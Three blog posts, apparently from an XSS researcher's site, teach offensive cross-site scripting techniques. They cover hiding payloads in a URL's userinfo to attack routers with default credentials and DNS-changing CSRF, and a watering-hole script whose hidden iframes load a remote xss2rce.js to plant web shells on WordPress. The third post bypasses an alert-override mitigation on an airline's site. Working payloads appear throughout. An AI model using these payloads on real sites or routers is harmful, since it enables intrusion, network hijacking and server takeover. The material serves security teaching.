XSS Authority Abuse

In the beginning of an URL lies an overlooked place useful to hide things from server logs. It’s the authentication part of the authority section. Check the full URL scheme below.

uri-scheme

Differently from the fragment part, where we can use document properties like location.hash to store things that will never be sent to server, the user information will be sent but will not figure in logs for security reasons.

So it becomes another good place to put javascript code:

http://alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=eval(URL.slice(7,15))>

Using an slice of the string returned by window.URL property, starting from char 7 to char 15, we pass to eval() the string we want to execute. For a https enabled website, the right combination would be 8 and 16, respectively.

Although there’s a security warning in Firefox (but not in Chrome), the statement about the domain to visit (brutelogic.com.br) may lead user to a wrong conclusion.

ff-sec-warning

After it, there will be no trace of what really happened in browser address bar.

alert-hidden-URL

The same can be done with the location property of document if eval() is not available.

http://javascript:alert(1)@brutelogic.com.br/webgun/test.php?p=<svg+onload=location=URL.slice(7,26)>

But much more harmful is to use this ability to actually do some kind of authentication. Because the victim of a XSS attack can perform requests to internal IP addresses, it’s possible to pivot to devices accessible only to the victim.

Most SOHO (Small Office / Home Office) routers are usually vulnerable to login attacks over this channel, so all an attacker has to do is to guess the right one in a small list of common default credentials. After, he/she proceeds with a basic CSRF attack to add his own DNS server to router configuration achieving total control over the victim’s network. But latest Firefox (version 48) is smart enough to stop automation and warn the user about it.

router-login-attempt-1

The same can’t be said about latest Chrome (version 52). It has no security warning again.

Click here to test your own router (Firefox or Chrome). If after clicking on “click me” your router dashboard appears, you may be in serious trouble.

#hack2learn

Get your T-shirt now!

Reflected in Watering Hole

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:

watering-hole-attack-info

Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikarwe can see in details how to use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker‘s work XSS and WordPress – The Aftermath.

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:

targets=[
‘a.com’,
‘b.com’,
‘c.com’
]

for(i=0; i<targets.length; i++){
f=document.createElement(‘iframe’);
f.setAttribute(‘style’,’display:none’);
f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;
document.body.appendChild(f);
}

This simply defines a list of targets (a.com, b.com, etc) and iterates through them to create hidden iframe (style=display:none) elements with source being the relative path to vulnerable page, along with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is an example of the idea exposed above:

joomla-sqli

It was still vulnerable live to the time of this publishing.

#hack2learn

P.S: as pointed out by the very author of the highlighted 3rd party component in Joomla! website (SobiPro), Radek Suski, this is not a real vulnerability (it was there just to illustrate anyway).

Get your T-shirt now!

Bypassing Javascript Overrides

Some time ago, a curious mitigation to XSS was presented here. By hijacking and nullifying common javascript functions used by a tester, it provides an interesting challenge for bypass.

The code below, currently online at United website (which has a bug bounty program at the time of this writing) overrides (hence the name) functions like alert(), prompt() and confirm(), in order to not let them be used by a tester. It’s included as a source of a script tag so it always loads before any injection.

override-js

Setting up a test page is straightforward:

override-page

Soon, we realize that library has to be used with some server side filtering in order to be effective at least against less skilled testers. With ability to input any XSS vector/payload, it becomes easy to figure out a bypass. But let’s consider that we are able to get the following injection reflected:

<svg onload=alert(1)>

Alert will not execute, because it does not exist anymore in this context. So let’s try another javascript code:

<svg onload=document.write(‘XSS’)>

It doesn’t work, document.write() is hijacked also. But library is forgetting to hijack its twin function, document.writeln():

override-writeln

With the ability to write to document, we jump to the URL hash, where code is never sent to server and won’t be noticed:

<svg onload=document.writeln(decodeURI(location.hash))>#<img src=1 onerror=alert(1)>

It works. But it would not work in the wild. Why?

When trying to bypass this lib in United website, I tried the same thing without success. That’s because the page is loaded in the same exactly way but with the injected image included:

override-united

The library is still present in the page, so it hijacks alert() before it can be executed. Another trick is needed to include in the document without get caught by lib:

override-united-2

By using an iframe we are able to run code without the presence of “js-override.js”, with a brand new document (the iframe’s one) included in our target page.

Kudos to @strukt93 for bringing this to my attention! More details here.

#hack2learn

Get your T-shirt now!